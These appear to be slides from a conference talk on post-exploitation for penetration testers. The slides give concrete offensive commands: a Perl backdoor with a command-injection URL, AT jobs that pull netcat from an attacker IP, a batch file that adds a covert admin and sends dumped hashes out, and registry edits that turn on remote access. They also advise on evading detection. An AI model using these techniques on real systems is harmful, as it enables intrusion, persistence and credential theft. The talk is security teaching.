Meta-Post Exploitation

*Using Old, Lost, Forgotten Knowledge*

Val Smith ([Valsmith@offensivecomputing.net](mailto:Valsmith@offensivecomputing.net))
Colin Ames ([amesc@offensivecomputing.net](mailto:amesc@offensivecomputing.net))
Valsmith

– Affiliations:
  • Offensive Computing
  • Metasploit
  • cDc

– Work:
  • Malware Analyst
  • Reverse Engineer
  • Penetration Tester
  • Exploit developer
Colin Ames
– Security Researcher, Offensive Computing
– Steganography Research
– Penetration Testing
– Reverse Engineering
– Malware Analysis
• **What is this?**
  
  – Follow up to Val’s and HD Moore’s Tactical Exploitation talk from last year
  – A talk about the use of automation and tactical tools post-exploitation
  – Applied techniques
  – Good for LARGE environments
  – Different perspectives: some old, some forgotten, some new
Post Exploitation Concepts Overview
What Is Post Exploitation?

- It’s what you do after you get root
  - Note: This talk assumes you have access
- Includes
  - Password Management
  - Persistence
  - Stealth / Evading Detection
  - User Identity Theft
  - Feature Modification
  - Automation & Mass Ownage
What Is Post Exploitation?

• Getting root is just the beginning
  – How do you spread?
  – How to manage assets as you go along?
• Lots of tools to help you get root:
  – Metasploit, Core, Canvas, Stand alone
• But what about after breaking in
  – Lots of random tools
  – Little automation / standardization
  – Archaic, hard to use, poorly documented
  – Maliciousness often obvious
  – Not Scalable to 1000’s of hosts (ignoring botnets for this talk)
Password Management
Why Password Management?

- Large pentests, 1000’s of passwords
- Testing a cracked password on many systems can be time consuming
- Keeping track of cracking sessions
- Building and growing your wordlist lets you crack faster
- Aids in cleanup stage
  - Tying accounts to systems
Password Management Goals

- Acquired password storage
- Organization and tracking
  - What passwords go with which hosts
  - What passwords are shared
  - Which users have access to what resources
- Re-use for further access
- Expanding wordlist for faster cracking
Password Management Stages & Techniques

- **Acquiring**: pwdump, cat /etc/shadow, cachedump, sql query, sniffing
- **Decisions**: Prioritize accounts to crack
- **Cracking**: John, l0pht, Cain
- **Tracking**: Nothing?
- **Reusing**: Core Impact
Manual Password Management

• Existing Tools
  – L0phtCrack
    • Stores passwords in session files
  – Cain&Abel
    • Static table, difficult to export / use / automate
    • Password Classification (NTLM, Cisco, SQL, md5)
  – Core Impact
    • Good for automated reuse of passwords against many hosts
    • No real storage / management capability
  – Text file / John the Ripper
    • Many people’s method
    • Quick and dirty, not easily scalable
• MetaPass
• Demos
Persistence
A word on Stealth vs Persistence

– In the old days a rootkit helped you maintain root
– Today rootkits are all about hiding
– These two concepts still go hand in hand
Persistence

- Persistence is maintaining access
- Why?
  - Target’s can get patched
  - Some exploits are 1 shot only
  - Sometimes you need to return multiple times to the target
  - Target’s usefulness not always immediately known
- Goals: Access target as often as needed/useful
- Huge area of study
- Sometimes persistence doesn’t matter
Persistence

- Stages of Persistence
  - Initial access:
    - Exploit
    - Stolen password, etc.
  - Decisions: What tool to use
    - FUZZY – OS, Environment, Target dependent
  - Setup
  - Re-accessing of target
  - Cleanup: Don’t be a slob, it will get you caught
    - When you no longer need the target, leave no trace
Persistence

- Existing tools
  - Rootkits
  - Backdoors
  - Trojans
  - Port knockers
  - Adding accounts
  - Things like netcat backdoors, inetd modifications, process injection, stealing credentials, etc.
Persistence

• Different perspective on persistence
  – If you can always re-exploit who cares
  – Inject, add, modify new vulnerabilities
    • Hard to determine maliciousness
    • We all know its hard to find bugs, now imagine someone is purposefully putting the bugs in
Persistence

• Leveraging existing persistent admin access
  • Nagios checks
  • Attack Configuration Management
    – Cfengine
    – SMS
    – Automated Patching Systems (“patch” them with our trojans)
  • GUI’s
• Tool distribution
Persistence

• Example:
  • Machine has VNC installed
  • Replace installed VNC with vulnerable version
    – Authentication bypass
  • Copy registry password so target doesn’t realize
  • Persistence with no backdoors or rootkits to get detected
Persistence

- Add vulnerable code
- Example: web apps
  - Take out user input validation
  - Inject your vulnerable code
    - Focus on vague intent
    - Never be *obviously* and *solely* malicious
  - Look for apps with previous vulnerabilities
  - Re-introduce patched bugs
Persistence

• More web app examples
• Add hidden field to HTML form
  – Users detect no change, app performs normally
    `<input type="hidden" name="Lang">
  
• Edit web app and tie vuln perl code to form field input
  
  ```perl
  If defined $hidden_field {
    open($filename,">$hidden_field);
  }
  ```

• Craft a POST including the hidden field
Persistence

- [www.target.com/cgi-bin/app.cgi?lang=|cmd](www.target.com/cgi-bin/app.cgi?lang=|cmd)
- Code will execute your commands
- Who needs to bind a shell to a port?
- Unlikely to ever be detected
  - Especially good in big apps
  - Code review can’t even be sure of maliciousness
  - Some sites replace code every X time period
- No rootkits to install
- Tripwire probably won’t see this
Persistence

• Take concept to another level
  – Add a decoder to web app
  – Look for a “trigger” string combination in form fields
  – If Name = John Smith and Age = 42 then execute contents of Address field
  – URL encode form entries containing commands
  – Have identifier “stub” in encoded data for app to find
Persistence

• Mixing Stealth with Persistence
  – Further encoding
  – Take entries from all fields
  – Concat them
  – “Decode” commands
  – Rotational Ciphers (rot 13, ceaser)
  – Even more complex obfuscation
Persistence

• Covert Accounts
  – Add an account / renable
  – Modify local account policies to allow access
    • Ex. SUPPORT_3848576b1, guest
  – Add it to the admin group (net localgroup)

• Only use AT to run your commands

• Persistence without adding files, new accounts
  – Unlikely to be discovered
• DEMOS
Stealth / Evading Detection
Stealth / Evading Detection

- Hiding your activity
  - From:
    - IDS
    - A/V
    - LOGGING
    - Suspicious users & admins
    - Firewalls
    - Process listing
Stealth / Evading Detection

• Why Stealth?
  – *If you get caught, you get stopped*
  – The longer you can operate undetected, the more you can accomplish
  – Admin’s won’t fix problems they don’t know exist (helps persistence)
  – On a pen test you should also be testing the organizations detection and response capabilities
Stealth / Evading Detection

• Goals
  – Keep system operable
    • If it breaks you can’t use it
    • Someone will come fix it
  – Operate without fear of detection
  – Robustness
    • Hiding shouldn’t require constant attention
  – DON’T LOOK MALICIOUS!
Stealth / Evading Detection

- Manual / Existing Tools
  - Rootkits, rootkits, rootkits
  - Meterpreter
  - Encryption
    - Shellcode Encoders for IDS evasion
  - Log cleaners
  - Packers
  - Covert channels / Steganography
  - Anti-analysis / anti-forensics
    - See all of OC’s other talks 😊
    - Also Vinnie Liu’s Metasploit research
Stealth / Evading Detection

- Different Perspective
  - DON’T BE AN ANOMALY!
  - Hide in plain sight
    - Many tools have ONLY malicious uses
    - Make your intent hard to determine
  - Be noisy on one to divert attention from another
Stealth / Evading Detection

• Different Perspective
  – Know the targets environment better than they do
    • If they don’t use encryption, maybe you shouldn’t either
    • Change strategies to match environment's normal behavior
  – Don’t always default to exploits
    • See Tactical Exploitation talk
    • IDS’s can’t see normal behavior that is malicious
Stealth / Evading Detection

- Using Windows security objects for stealth
  - Auditing of Securable Objects is controlled by SACL’s
  - Null SACL = No Auditing = No Logs
• DEMOS
  – Kaspersky squeals like a pig
User Identity Theft
User Identity Theft

- It’s not always about ROOT!
- Look like someone else
  - Use the credentials / access of another user
- Goals
  - Change your identity at will
    - User ID, domain credentials, sessions
    - Impersonate system accounts
    - Make activities look like normal user behavior
User Identity Theft

• Stages and techniques
  – Target users
    • Who has access to what
    • Where is the data?
  – Change Identity
    • Hijack credentials/sessions
    • Abuse tokens
  – Access is the end goal, be it data or another system
User Identity Theft

- Existing tools
  - Incognito (metasploit)
    - Enumerate / hijack tokens
  - FU/FUTO
    - Enable SYSTEM privileges
    - Change process privileges DKOM
  - SU / SUDO / KSU
  - Process injection
  - Hijack domain credentials
User Identity Theft

Tokens, Privileges, Security Descriptors, SID’s, SACL’s, DACL’s, ACE’s Oh’ My

• What we want
  – Privileges or SID’s

• What we get
  – Access, Access, Access

• How we get it
  – Incognito vs. FUto
• DEMOS
Feature Modification
Feature Modification

• Changing existing features or settings to benefit our activities

• Goals
  – Support all Post-Exploitation activities
  – Disabling detection technologies
  – Enabling in-secure or easy to use software
Feature Modification

- Feature Modification is Basically Securable Object Manipulation
  - Remember all those Tokens, and Security Descriptors?
  - These can be modified programmatically and directly
    - Not just through existing tools
  - Stealth / Persistence requirements
    - May make it more advantageous to use custom tools
      - Access Objects programmatically
      - Can be much more complex to implement
Feature Modification

• Re-enabling disabled access
  – PsExec: It’s still cool (Thanks Mark!)
• Enabling GUI access
  – VNC (from a command line)
  – Remote Desktop (even if disabled)
• Turning off or adding exceptions to security software
  – Firewalls, AV, logging
• Modifying Local Security Policies
Feature Modification

• Enabling psexec
  – Psexec was great, awesome remote shell/command tool
  – Everybody now disables clipbook which psexec requires 😞
  – Lets re-enable it!
Feature Modification

• Enabling psexec
• Use the system control tool sc.exe
  – Net use \target\ipc$ username /user:password
  – Sc \target config netdde start= auto
  – Sc \target config netddedsdm start= auto
  – Sc \target config clipsrv start= auto
  – Sc \target start netdde
  – Sc \target start netddedsdm
  – Sc \target start clipserv
Feature Modification

- Enabling VNC (from command line)
  - Go get VNC (check out guh.nu!)
  - Make a folder on the target for the vnc files
  - Copy the following files to target folder:
    - Winvnc.exe
    - Vnc.reg
    - Vnchooks.dll
    - Omnithread_rt.dll
  - Regedit –s vnc.reg
  - Winvnc –install
  - Net start “vnc server”
  - Winvnc
  - Password is “infected”
Feature Modification

- Enabling Remote Desktop remotely
  - Having a GUI to your target can be necessary
  - Maybe they are running a specialized GUI app
    - Ex. System controlling access to security doors
      - No command line way of modifying system, need GUI
    - SCADA systems?
    - Security cameras
    - Who knows what you might be up to 😊
  - Remote desktop is fast and already a feature of OS
  - However it’s often disabled, maybe even by GPO
Feature Modification

- Enabling Remote Desktop remotely
  - Complicated procedure, especially if GPO’s involved
  - Create a file named `fix_ts_policy.ini`
    ```
    [Unicode]
    Unicode=yes
    [Version]
    signature="$CHICAGO$"
    Revision=1
    [Privilege Rights]
    seremoteinteractivelogonright = hacked_account
    seinteractivelogonright = hacked_account
    sedenyinteractivelogonright =
    sedenyremoteinteractivelogonright =
    sedenynetworklogonright =
    ```
  - This file will fix policy settings in your way
  - Change “`hacked_account`” to a real account
Feature Modification

• Enabling Remote Desktop remotely
  – Create another file named enable_ts.reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]

"fDenyTSConnections"=dword:00000000
"TSEnabled"=dword:00000001
"TSUserEnabled"=dword:00000000

– Then perform these commands
  • sc config termsservice start= auto
  • regedit /s enable_ts.reg
  • copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
  • copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
  • secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
  • gpupdate /Force
  • net start "terminal services"
• DEMOS
Abusing The Scheduler
Abusing The Scheduler

- Oldschool techniques can get results on new problems
- Remember this is POST exploitation so you already have some access
- AT command schedules things to run on at a specified time and date
  - Schedule service must be running
Abusing The Scheduler

- Often these days certain features are disabled for security
  - Clipbook, shares, enumeration
- Use AT to get around these problems
  - Usually NOT disabled

Net use \target\ipc$ password /user:username
At \target 12:00 pm command
Ex. At \192.168.1.1 12:00pm tftp –I myip GET nc.exe
Abusing The Scheduler

- Often AT is still enabled while many other things you typically use are not.
- AT is as good as having a shell:
  - *Enable / Start Services*
  - *Transfer files*
  - *Adding users*
  - *Messing with the registry / policies*
  - *Pretty much anything you can do with a shell*
  - *Added bonus, defaults to run as SYSTEM*
Abusing The Scheduler

- Building a tool around AT
  - Flow:
    - Establish authenticated session
    - Determine the time on the target
    - Pass commands to the target to be run 1 min from now
      - Write a batch file that executes everything at once
      - Have the target send you back whatever info you want
      - Be mindful of file transfer protocols, TFTP is good but not always “quiet” or available
Abusing The Scheduler

- **Common use example**
  - Net use \\target
  - Net time \\target
  - At \\target (net time +1min) “tftp –i use GET e.bat”
  - At \\target (net time +2min) e.bat
  - e.bat does:
    - Adds a user (net user hacked hacked /add)
    - Admin group (net localgroup administrators hacked /add)
    - Gets hashdumping tools and dumps hashes
    - Sends hashes, identified by IP back to attacker host
Abusing The Scheduler

• Privileges of LocalSystem that we care about
  – NT AUTHORITY\SYSTEM and BUILTIN\Administrators SIDs
  – SE_IMPERSONATE_NAME
  – SE_TCB_NAME
  – SE_DEBUG_NAME
Massive Automation
Massive Automation

- *Automating* techniques and tools for use against massive numbers of hosts
- **Goals**
  - Penetrate as many systems as possible with little interaction and in a short time
  - Ease of use / re-use
  - Lower cost of attack
Massive Automation

- **MassNetUse** – Establish netbios session / credentials on range of hosts
- **MassWinenum** – Enumerate Netbios information, bypass certain RestrictAnonymous settings
- **AtAbuse** – Use the scheduler as your “shell” to control ranges of hosts
• DEMOS
• Related talks you should see
  – Beyond EIP – The theoretical / tool development end of things (spoonm & skape)
• Acknowledgements
  – Thanks to
    • All the people from #offensivecomputing, nologin, uninformed IRC and SILC channels
    • HD Moore especially for support and mentorship
    • Danny Quist, krbklepto, Egypt, spoonm, skape
    • Luke Jennings for his awesome work
• Questions?
• Presentation available at
  www.offensivecomputing.net